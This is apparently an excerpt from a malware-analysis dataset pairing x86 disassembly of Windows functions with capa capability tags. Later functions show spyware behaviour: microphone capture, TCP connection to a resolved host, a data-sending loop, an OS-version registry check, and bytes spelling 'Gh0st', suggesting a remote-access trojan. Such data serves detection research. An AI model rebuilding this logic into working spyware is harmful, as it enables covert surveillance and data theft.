joyce8/EMBER2024-capa huggingface dataset:
Function at 0x5ebf1f
Capabilities:
Write file on windows

Disassembly:
push 0x2c
mov eax, 0x6b84e6
call fcn.0064d018
mov esi, ecx
mov dword [ebp - 0x30], esi
xor ebx, ebx
cmp dword [esi + 0x38], ebx
je 0x5ec027
cmp byte [esi + 0x3d], bl
je 0x5ec027
mov eax, dword [esi]
push 0xffffffffffffffff
call dword [eax + 0xc]
cmp eax, 0xffffffff
jne 0x5ebf57
xor al, al
jmp 0x5ec029
push ebx
push 8
lea ecx, [ebp - 0x2c]
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x18], 0xf
mov byte [ebp - 0x2c], bl
call fcn.00419897
lea eax, [esi + 0x40]
mov dword [ebp - 4], ebx
mov dword [ebp - 0x34], eax
mov edx, dword [ebp - 0x2c]
mov ecx, dword [ebp - 0x18]
cmp ecx, 0x10
lea eax, [ebp - 0x38]
mov ecx, dword [ebp - 0x30]
lea edi, [ebp - 0x2c]
push eax
mov eax, dword [ebp - 0x1c]
lea esi, [ebp - 0x2c]
cmovae edi, edx
cmovae esi, edx
mov ecx, dword [ecx + 0x38]
add eax, edi
push eax
push esi
push dword [ebp - 0x34]
mov edx, dword [ecx]
call dword [edx + 0x20]
sub eax, ebx
je 0x5ebfb4
sub eax, 1
jne 0x5ec00c
mov esi, dword [ebp - 0x30]
jmp 0x5ebfba
mov esi, dword [ebp - 0x30]
mov byte [esi + 0x3d], bl
mov ecx, dword [ebp - 0x18]
lea eax, [ebp - 0x2c]
mov edx, dword [ebp - 0x2c]
cmp ecx, 0x10
mov edi, dword [ebp - 0x38]
cmovae eax, edx
sub edi, eax
je 0x5ebff2
push dword [esi + 0x4c]
cmp ecx, 0x10
lea eax, [ebp - 0x2c]
push edi
cmovae eax, edx
push 1
push eax
call fcn.00680217
add esp, 0x10
cmp edi, eax
jne 0x5ec017
mov ecx, dword [ebp - 0x18]
mov edx, dword [ebp - 0x2c]
cmp byte [esi + 0x3d], 0
je 0x5ec015
test edi, edi
jne 0x5ebf7e
push ebx
push 8
lea ecx, [ebp - 0x2c]
call fcn.00419780
jmp 0x5ebf78
dec eax
sub eax, 1
jne 0x5ec01b
inc eax
jmp 0x5ec019
mov bl, 1
mov al, bl
mov bl, al
lea ecx, [ebp - 0x2c]
call fcn.00413890
mov al, bl
jmp 0x5ec029
mov al, 1
call fcn.0064cfc2
ret

Function at 0x5ee66d
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x390
mov eax, dword [0x816078]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov esi, ecx
xor ebx, ebx
push edi
mov edi, dword [ebp + 8]
cmp dword [esi + 4], 0xffffffff
je 0x5ee6a9
push ebx
call fcn.00501faa
test al, al
je 0x5ee6f6
cmp dword [esi + 4], 0xffffffff
je 0x5ee6a9
push dword [esi + 4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [esi + 0x18]
push eax
push ebx
push edi
push dword [esi + 0x10]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [esi + 4], eax
test eax, eax
jne 0x5ee6dc
push str.Failed_to_start_thread.
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push 0xf
lea ecx, [ebp - 0x390]
call fcn.004fcbac
jmp 0x5ee708
mov ecx, dword [ebp - 4]
pop edi
mov dword [esi + 0x14], 0x103
xor ecx, ebp
pop esi
pop ebx
call fcn.0064c681
mov esp, ebp
pop ebp
ret 4
push str.Attempting_to_start_a_new_thread_when_the_thread_has_already_been_started
push 0x53
lea ecx, [ebp - 0x390]
call fcn.0050c04c
push 0x811494
lea eax, [ebp - 0x390]
push eax
call fcn.0064f293
int3
Function at 0x6154ac
Capabilities:
Acquire debug privileges

Disassembly:
push 0x7c
mov eax, 0x6bf1b2
call fcn.0064d018
lea eax, [ebp - 0x74]
xor ebx, ebx
push eax
push 0x28
mov dword [ebp - 0x74], ebx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x6155d9
mov eax, dword [ebp - 0x74]
mov dword [ebp - 0x88], vtable.RefCounted.0
mov dword [ebp - 0x84], ebx
mov dword [ebp - 0x88], vtable.OHandle.0
mov dword [ebp - 0x80], eax
mov byte [ebp - 0x7c], 1
mov dword [ebp - 0x78], 0x55
lea eax, [ebp - 0x1c]
mov dword [ebp - 4], ebx
push eax
push str.SeDebugPrivilege
push ebx
mov dword [ebp - 0x20], 1
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
test eax, eax
je 0x6155ce
push ebx
push ebx
push 0x10
lea eax, [ebp - 0x20]
mov dword [ebp - 0x14], 2
push eax
push ebx
push dword [ebp - 0x74]
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
test eax, eax
je 0x6155ce
push 7
pop esi
xor eax, eax
mov dword [ebp - 0x28], ebx
push str.Debug_Priveldge_obtained.
lea ecx, [ebp - 0x38]
mov dword [ebp - 0x24], esi
mov word [ebp - 0x38], ax
call fcn.0040d510
xor eax, eax
mov byte [ebp - 4], 1
mov ecx, esi
lea edi, [ebp - 0x54]
rep stosd dword es:[edi], eax
lea eax, [ebp - 0x38]
push eax
push 0x81e0fc
lea ecx, [ebp - 0x70]
call fcn.005e97cc
xor eax, eax
mov dword [ebp - 0x70], vtable.C2R::ContextDataMsg.0
mov word [ebp - 0x50], ax
mov ecx, 0x240014f
lea eax, [ebp - 0x70]
mov dword [ebp - 0x54], vtable.C2R::CommonTelemetry.0
push eax
lea eax, [ebp - 0x54]
mov dword [ebp - 0x40], ebx
push eax
push str.LightProcessKiller::TryObtainDebugPrivilege
push 0x64
push 0xe
pop edx
mov dword [ebp - 0x3c], esi
call fcn.00411dd9
lea ecx, [ebp - 0x50]
call fcn.0040d475
lea ecx, [ebp - 0x6c]
call fcn.0040d475
lea ecx, [ebp - 0x38]
call fcn.0040d475
lea ecx, [ebp - 0x88]
call fcn.004fedc2
call fcn.0064cfc2
ret
Function at 0x62f771
Capabilities:
Create thread

Disassembly:
push 0x394
mov eax, 0x6c2846
call fcn.0064d018
mov esi, ecx
xor ebx, ebx
cmp dword [esi + 0xa4], ebx
je 0x62f822
push 0x2c
call fcn.006707e1
pop ecx
test eax, eax
je 0x62f828
mov dword [ebp - 0x3a0], eax
push ecx
push 1
mov ecx, eax
mov dword [ebp - 4], ebx
call fcn.004f980d
or dword [ebp - 4], 0xffffffff
lea edi, [esi + 0x10c]
push eax
mov ecx, edi
call fcn.0061443b
push ebx
push ebx
push esi
push 0x62d2d5
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov ebx, eax
test ebx, ebx
je 0x62f82d
push 0x14
call fcn.006707e1
pop ecx
test eax, eax
je 0x62f828
push ecx
push ebx
mov ecx, eax
call fcn.006155df
test eax, eax
je 0x62f7f8
lock inc dword [eax + 4]
mov ecx, dword [esi + 0xc4]
mov dword [esi + 0xc4], eax
test ecx, ecx
je 0x62f80d
call fcn.004f96a9
mov eax, dword [edi]
test eax, eax
jne 0x62f818
call fcn.0050643c
or edx, 0xffffffff
mov ecx, eax
call fcn.004f9703
call fcn.0064cfc2
ret
call fcn.004f732c
push str.CreateThread_call_failed.
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push 0xf
lea ecx, [ebp - 0x39c]
call fcn.004fabff
push 0x811494
lea eax, [ebp - 0x39c]
push eax
call fcn.0064f293
int3

Function at 0x633ec8
Capabilities:
Get hostname

Disassembly:
push 0x64
mov eax, 0x6c2f1c
call fcn.0064d018
mov esi, ecx
mov dword [ebp - 0x6c], esi
mov eax, dword [ebp + 8]
lea ecx, [esi + 4]
mov edi, dword [ebp + 0xc]
xor ebx, ebx
mov dword [ebp - 0x6c], ebx
mov dword [esi], 0x7c3884
push eax
mov dword [ebp - 0x70], esi
mov dword [ecx + 0x10], ebx
mov dword [ecx + 0x14], ebx
call fcn.0040d595
mov dword [ebp - 4], ebx
cmp dword [edi + 0x10], ebx
je 0x633f19
push edi
lea ecx, [ebp - 0x4c]
mov dword [ebp - 0x3c], ebx
mov dword [ebp - 0x38], ebx
call fcn.0040d595
lea eax, [ebp - 0x4c]
inc ebx
jmp 0x633f4a
lea eax, [ebp - 0x68]
mov dword [ebp - 0x68], 0x10
push eax
lea eax, [ebp - 0x34]
push eax
call dword [sym.imp.KERNEL32.dll_GetComputerNameW]
test eax, eax
lea ecx, [ebp - 0x34]
mov edx, 0x6d92dc
cmove ecx, edx
push ecx
lea ecx, [ebp - 0x64]
call fcn.0040d412
push 6
lea eax, [ebp - 0x64]
pop ebx
push eax
lea ecx, [esi + 0x1c]
call fcn.0040d3df
test bl, 2
je 0x633f63
lea ecx, [ebp - 0x64]
and ebx, 0xfffffffd
call fcn.0040d475
test bl, 1
je 0x633f70
lea ecx, [ebp - 0x4c]
call fcn.0040d475
mov eax, esi
call fcn.0064cfc2
ret 8

Function at 0x651793
Capabilities:
Allocate thread local storage

Disassembly:
push ebp
mov ebp, esp
push esi
push 0x6ce974
push 0x6ce96c
push 0x6cc96c
push 0
call fcn.0065170c
mov esi, eax
add esp, 0x10
test esi, esi
je 0x6517c5
push dword [ebp + 8]
mov ecx, esi
call fcn.0064cfa7
call esi
pop esi
pop ebp
ret
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsAlloc]

Function at 0x651807
Capabilities:
Get thread local storage value

Disassembly:
push ebp
mov ebp, esp
push esi
push 0x6ce984
push 0x6ce97c
push 0x6cc980
push 2
call fcn.0065170c
add esp, 0x10
mov esi, eax
push dword [ebp + 8]
test esi, esi
je 0x651838
mov ecx, esi
call fcn.0064cfa7
call esi
jmp 0x65183e
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
pop esi
pop ebp
ret
Function at 0x651841
Capabilities:
Set thread local storage value

Disassembly:
push ebp
mov ebp, esp
push esi
push 0x6ce98c
push 0x6ce984
push 0x6cc98c
push 3
call fcn.0065170c
add esp, 0x10
mov esi, eax
push dword [ebp + 0xc]
push dword [ebp + 8]
test esi, esi
je 0x651875
mov ecx, esi
call fcn.0064cfa7
call esi
jmp 0x65187b
call dword [sym.imp.KERNEL32.dll_TlsSetValue]
pop esi
pop ebp
ret
Function at 0x659e06
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push dword [ebp + 0x1c]
push dword [ebp + 0x18]
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateThread]
pop ebp
ret

Function at 0x65a1a5
Capabilities:
Allocate thread local storage

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
cmp eax, 0xffffffff
jne 0x65a1c2
call dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jg 0x65a1c6
jmp 0x65a1ce
mov esp, ebp
pop ebp
ret
movzx eax, ax
or eax, 0x80070000
push eax
lea ecx, [ebp - 0x10]
call fcn.0065a6c8
push 0x80fc94
lea eax, [ebp - 0x10]
push eax
call fcn.0064f293
int3

Function at 0x663462
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push 4
mov eax, 0x6c4c35
call fcn.0064cfe4
mov edi, ecx
mov dword [ebp - 0x10], edi
or dword [edi + 4], 0xfffffff
lea ecx, [edi + 0x3c]
xor ebx, ebx
mov dword [edi + 8], ebx
mov dword [edi + 0x10], ebx
mov dword [edi + 0x14], SysReAllocString
mov dword [edi + 0x18], ebx
mov dword [edi + 0x38], ebx
call fcn.00658d06
mov dword [ebp - 4], ebx
mov ebx, dword [ebp + 8]
mov eax, dword [ebx + 0x64]
mov dword [edi + 0x64], eax
xor eax, eax
mov dword [edi + 0x6c], eax
mov dword [edi + 0x78], eax
mov dword [edi + 0x84], eax
mov dword [edi + 0x88], eax
test dword [0x8160e4], 0x80000000
je 0x6634d3
push dword [0x82891c]
call fcn.0065a1f4
pop ecx
test eax, eax
jne 0x6634d8
call fcn.0065f9b5
mov dword [edi + 0xc], eax
mov eax, dword [eax + 0x34]
mov dword [edi], eax
mov eax, dword [ebx + 8]
mov dword [edi + 8], eax
test eax, eax
je 0x6634f3
cmp eax, 2
je 0x6634f3
lock inc dword [eax + 4]
mov ecx, edi
call fcn.00663fd7
lea ecx, [edi + 0x3c]
call fcn.00659614
cmp byte [ebp + 0xc], 0
je 0x663534
mov edx, dword [edi + 0x64]
mov ecx, edi
add edx, 0x68
mov esi, dword [edx]
mov eax, esi
mov dword [edi + 0x68], esi
lock cmpxchg dword [edx], ecx
jmp 0x66352e
mov dword [edi + 0x68], eax
mov esi, eax
mov ecx, dword [edi + 0x64]
mov edx, edi
add ecx, 0x68
lock cmpxchg dword [ecx], edx
cmp eax, esi
jne 0x66351d
jmp 0x66353c
or dword [edi + 0x78], 1
and dword [edi + 0x68], 0
call fcn.0065fba0
mov esi, eax
mov eax, dword [esi + 0x20]
test eax, eax
jne 0x663554
mov ecx, esi
call fcn.006629ef
mov eax, dword [esi + 0x20]
mov eax, dword [eax + 0x40]
and dword [edi + 4], 0xfffffff
mov dword [edi + 0x80], eax
mov eax, edi
call fcn.0064cfad
ret 8

Function at 0x66b525
Capabilities:
Allocate thread local storage

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
mov dword [0x828988], eax
cmp eax, 0xffffffff
jne 0x66b547
call dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jg 0x66b54b
jmp 0x66b553
mov esp, ebp
pop ebp
ret
movzx eax, ax
or eax, 0x80070000
push eax
lea ecx, [ebp - 0x10]
call fcn.0065a6c8
push 0x80fc94
lea eax, [ebp - 0x10]
push eax
call fcn.0064f293
int3

Function at 0x68cdf5
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.0068cab8
Function at 0x68ce00
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.0068cc39

Function at 0x68f276
Capabilities:
Set environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.0068ef36
Function at 0x100010f0
Capabilities:
Terminate thread

Disassembly:
push ebx
mov ebx, ecx
push ebp
push esi
mov al, byte [ebx + 0x44]
push edi
test al, al
mov dword [ebx], 0x1001b418
je 0x1000114c
mov eax, dword [ebx + 0x18]
push eax
call dword [sym.imp.WINMM.dll_waveInStop]
mov ecx, dword [ebx + 0x18]
push ecx
call dword [sym.imp.WINMM.dll_waveInReset]
mov ebp, dword [sym.imp.WINMM.dll_waveInUnprepareHeader]
lea esi, [ebx + 0x30]
mov edi, 2
mov edx, dword [esi]
mov eax, dword [ebx + 0x18]
push 0x20
push edx
push eax
call ebp
add esi, 4
dec edi
jne 0x10001125
mov ecx, dword [ebx + 0x18]
push ecx
call dword [sym.imp.WINMM.dll_waveInClose]
mov edx, dword [ebx + 0x2c]
push 0xffffffffffffffff
push edx
call dword [sym.imp.KERNEL32.dll_TerminateThread]
mov al, byte [ebx + 0x45]
test al, al
je 0x10001212
mov edi, str.aveOutReset
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov edi, 0x1001f04c
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
lea eax, [edx + ecx + 1]
push eax
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
mov edx, eax
mov edi, 0x1001f04c
or ecx, 0xffffffff
xor eax, eax
add esp, 4
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push edx
mov eax, ecx
mov esi, edi
mov edi, edx
push str.WINMM.dll
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, str.aveOutReset
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebp, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebp
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebp
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, dword [ebx + 0x40]
push ecx
call eax
mov ebp, dword [sym.imp.WINMM.dll_waveOutUnprepareHeader]
lea esi, [ebx + 0x30]
mov edi, 2
mov edx, dword [esi]
mov eax, dword [ebx + 0x40]
push 0x20
push edx
push eax
call ebp
add esi, 4
dec edi
jne 0x100011f7
mov ecx, dword [ebx + 0x40]
push ecx
call dword [sym.imp.WINMM.dll_waveOutClose]
lea esi, [ebx + 0x30]
mov edi, 2
mov edx, dword [esi - 0x28]
push edx
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
mov eax, dword [esi]
push eax
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
mov ecx, dword [esi - 0x20]
push ecx
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
mov edx, dword [esi + 8]
push edx
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 0x10
add esi, 4
dec edi
jne 0x1000121a
mov eax, dword [ebx + 0x24]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push eax
call esi
mov ecx, dword [ebx + 0x28]
push ecx
call esi
mov edx, dword [ebx + 0x2c]
push edx
call esi
pop edi
pop esi
pop ebp
pop ebx
ret
Function at 0x10001350
Capabilities:
Capture microphone audio
Resume thread

Disassembly:
push ecx
push ebx
push edi
mov edi, ecx
call dword [sym.imp.WINMM.dll_waveInGetNumDevs]
test eax, eax
jne 0x10001365
pop edi
xor al, al
pop ebx
pop ecx
ret
push str.CreateThread
push str.KERNEL32.dll
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
lea ecx, [esp + 8]
push ecx
push 4
push edi
push 0x100014d0
push 0
push 0
call eax
mov edx, dword [esp + 8]
mov dword [edi + 0x2c], eax
push 0x20000
push 0
lea eax, [edi + 0x46]
push edx
lea ebx, [edi + 0x18]
push eax
push 0xffff
push ebx
call dword [sym.imp.WINMM.dll_waveInOpen]
test eax, eax
je 0x100013c3
pop edi
xor al, al
pop ebx
pop ecx
ret
push ebp
push esi
lea esi, [edi + 0x30]
mov ebp, 2
mov ecx, dword [esi]
mov edx, dword [esi - 0x28]
push 0x20
mov dword [ecx], edx
mov eax, dword [esi]
mov ecx, dword [edi + 4]
mov dword [eax + 4], ecx
mov edx, dword [esi]
xor eax, eax
mov dword [edx + 0x10], eax
mov ecx, dword [esi]
mov dword [ecx + 0x14], eax
mov edx, dword [esi]
mov eax, dword [ebx]
push edx
push eax
call dword [sym.imp.WINMM.dll_waveInPrepareHeader]
add esi, 4
dec ebp
jne 0x100013cd
mov ecx, dword [edi + 0x1c]
mov eax, dword [ebx]
push 0x20
mov edx, dword [edi + ecx*4 + 0x30]
push edx
push eax
call dword [sym.imp.WINMM.dll_waveInAddBuffer]
mov ecx, dword [edi + 0x2c]
push ecx
call dword [sym.imp.KERNEL32.dll_ResumeThread]
mov edx, dword [ebx]
push edx
call dword [sym.imp.WINMM.dll_waveInStart]
mov al, 1
pop esi
mov byte [edi + 0x44], al
pop ebp
pop edi
pop ebx
pop ecx
ret

Function at 0x10001cc0
Capabilities:
Initialize winsock library

Disassembly:
push 0xffffffffffffffff
push 0x10019d1a
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x198
push esi
mov esi, ecx
mov dword [esp + 4], esi
lea ecx, [esi + 4]
call fcn.10001890
lea ecx, [esi + 0x2c]
mov dword [esp + 0x1a4], 0
call fcn.10001890
lea ecx, [esi + 0x54]
mov byte [esp + 0x1a4], 1
call fcn.10001890
lea ecx, [esi + 0x7c]
mov byte [esp + 0x1a4], 2
call fcn.10001890
lea eax, [esp + 0xc]
mov dword [esi], 0x1001b430
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
push 0
push 0
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov byte [esp + 4], 0x47
mov byte [esp + 5], 0x68
mov byte [esp + 6], 0x30
mov byte [esp + 7], 0x73
mov edx, dword [esp + 4]
lea ecx, [esi + 0xb0]
mov dword [esi + 0xac], eax
mov al, 0x74
mov dword [ecx], edx
mov byte [esi + 0xb5], 0
mov dword [esi + 0xa8], 0xffffffff
mov byte [ecx + 4], al
mov ecx, dword [esp + 0x19c]
mov eax, esi
pop esi
mov dword fs:[0], ecx
add esp, 0x1a4
ret
Function at 0x10001e80
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Resolve dns
Set socket configuration

Disassembly:
sub esp, 0x20
push ebx
push ebp
push esi
push edi
push str.ResetEvent
mov esi, ecx
push str.KERNEL32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, esi
mov edi, eax
call fcn.100026b0
mov eax, dword [esi + 0xac]
push eax
call edi
mov byte [esi + 0xb5], 0
mov eax, dword [0x1002159c]
test eax, eax
je 0x10001ed8
cmp eax, 4
je 0x10001ed8
cmp eax, 5
je 0x10001ed8
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0x20
ret 8
push 6
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
cmp eax, 0xffffffff
mov dword [esi + 0xa8], eax
jne 0x10001efb
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0x20
ret 8
mov eax, dword [0x1002159c]
mov ebx, dword [esp + 0x34]
test eax, eax
je 0x10001f0f
push 0x100215a0
jmp 0x10001f10
push ebx
call dword [sym.imp.WS2_32.dll_gethostbyname]
mov edi, eax
test edi, edi
jne 0x10001f28
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0x20
ret 8
mov eax, dword [0x1002159c]
mov ebp, dword [esp + 0x38]
test eax, eax
mov word [esp + 0x20], 2
je 0x10001f46
mov cx, word [0x1001f120]
push ecx
jmp 0x10001f47
push ebp
call dword [sym.imp.WS2_32.dll_htons]
mov word [esp + 0x22], ax
mov edx, dword [edi + 0xc]
push 0x10
mov eax, dword [edx]
lea edx, [esp + 0x24]
push edx
mov ecx, dword [eax]
mov eax, dword [esi + 0xa8]
push eax
mov dword [esp + 0x30], ecx
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x10001f82
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0x20
ret 8
cmp dword [0x1002159c], 5
jne 0x10001fa2
push ebp
push ebx
mov ecx, esi
call fcn.10002050
test al, al
jne 0x10001fa2
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x20
ret 8
mov edx, dword [esi + 0xa8]
lea ecx, [esp + 0x13]
push 1
push ecx
push 8
push 0xffff
push edx
mov byte [esp + 0x27], 1
call dword [sym.imp.WS2_32.dll_setsockopt]
test eax, eax
jne 0x10002017
push str.WSAIoctl
push str.WS2_32.dll
mov dword [esp + 0x1c], 1
mov dword [esp + 0x20], 0x2bf20
mov dword [esp + 0x24], 0x1388
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0
lea ecx, [esp + 0x17]
push 0
push ecx
mov ecx, dword [esi + 0xa8]
push 0
push 0
lea edx, [esp + 0x28]
push 0xc
push edx
push 0x98000004
push ecx
call eax
push 1
push 0
push 0
push esi
push 0x10002390
push 0
push 0
mov byte [esi + 0xb5], 1
call fcn.100129b0
add esp, 0x1c
mov dword [esi + 0xa4], eax
mov al, 1
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x20
ret 8
Function at 0x100028e0
Capabilities:
Send data
Send data on socket

Disassembly:
push ebx
mov ebx, dword [esp + 0xc]
push ebp
push esi
mov esi, dword [esp + 0x18]
push edi
mov edi, dword [esp + 0x14]
cmp ebx, esi
mov ebp, ecx
mov dword [esp + 0x14], 0
jb 0x1000294a
mov dword [esp + 0x1c], 0
mov eax, dword [ebp + 0xa8]
push 0
push esi
push edi
push eax
call dword [sym.imp.WS2_32.dll_send]
test eax, eax
jg 0x10002929
mov ecx, dword [esp + 0x1c]
inc ecx
cmp ecx, 0xf
mov dword [esp + 0x1c], ecx
jl 0x10002906
cmp dword [esp + 0x1c], 0xf
je 0x10002980
mov ecx, dword [esp + 0x14]
push 0xa
add ecx, eax
add edi, esi
mov dword [esp + 0x18], ecx
call dword [sym.imp.KERNEL32.dll_Sleep]
sub ebx, esi
cmp ebx, esi
jae 0x100028fe
test ebx, ebx
jle 0x10002974
xor esi, esi
mov ecx, dword [ebp + 0xa8]
push 0
push ebx
push edi
push ecx
call dword [sym.imp.WS2_32.dll_send]
test eax, eax
jg 0x1000296b
inc esi
cmp esi, 0xf
jl 0x10002950
cmp esi, 0xf
je 0x10002980
add dword [esp + 0x14], eax
mov eax, dword [esp + 0x14]
mov ecx, dword [esp + 0x18]
cmp eax, ecx
je 0x10002983
or eax, 0xffffffff
pop edi
pop esi
pop ebp
pop ebx
ret 0xc

Function at 0x10002b10
Capabilities:
Resolve dns

Disassembly:
sub esp, 0x10
push esi
mov esi, dword [esp + 0x18]
test esi, esi
jne 0x10002b23
xor eax, eax
pop esi
add esp, 0x10
ret
push 0x30
call dword [sym.imp.MSVCRT.dll_putchar]
add esp, 4
push esi
call dword [sym.imp.WS2_32.dll_inet_addr]
cmp eax, 0xffffffff
jne 0x10002b5c
push esi
call dword [sym.imp.WS2_32.dll_gethostbyname]
mov ecx, dword [eax]
mov dword [esp + 4], ecx
mov edx, dword [eax + 4]
mov dword [esp + 8], edx
mov ecx, dword [eax + 8]
mov dword [esp + 0xc], ecx
mov eax, dword [eax + 0xc]
mov edx, dword [eax]
mov eax, dword [edx]
pop esi
add esp, 0x10
ret
Function at 0x10002c20
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x190
push esi
push edi
nop
nop
mov ecx, 0x1f
xor eax, eax
lea edi, [ebp - 0x8b]
mov byte [ebp - 0x8c], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0x20
xor eax, eax
lea edi, [ebp - 0x8c]
rep stosd dword es:[edi], eax
nop
nop
nop
nop
mov edi, str.SOFTWAREMicrosoftWindows_NTCurrentVersion
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [ebp - 0x190]
mov eax, ecx
mov esi, edi
mov edi, edx
lea edx, [ebp - 0x190]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [ebp - 4]
push ecx
push 0xf003f
push 0
push edx
push reloc.WS2_32.dll_bind
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov esi, dword [sym.imp.MSVCRT.dll_putchar]
test eax, eax
jne 0x10002cf5
mov dword [ebp - 8], 0xc8
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
push 0x30
call esi
add esp, 4
lea eax, [ebp - 8]
lea ecx, [ebp - 0x8c]
lea edx, [ebp - 0xc]
push eax
mov eax, dword [ebp - 4]
push ecx
push edx
push 0
push 0x1001f20c
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov edi, dword [sym.imp.MSVCRT.dll_strstr]
lea edx, [ebp - 0x8c]
push str.2000
push edx
call edi
add esp, 8
test eax, eax
jne 0x10002d49
lea eax, [ebp - 0x8c]
push str.2003
push eax
call edi
add esp, 8
test eax, eax
jne 0x10002d49
lea ecx, [ebp - 0x8c]
push str.2008
push ecx
call edi
add esp, 8
test eax, eax
jne 0x10002d49
push 0x30
call esi
add esp, 4
xor eax, eax
pop edi
pop esi
mov esp, ebp
pop ebp
ret
pop edi
mov eax, 1
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x10004170
Capabilities:
Check if file exists
Get file attributes

Disassembly:
mov eax, dword [esp + 4]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
xor ecx, ecx
cmp eax, 0xffffffff
setne cl
mov al, cl
ret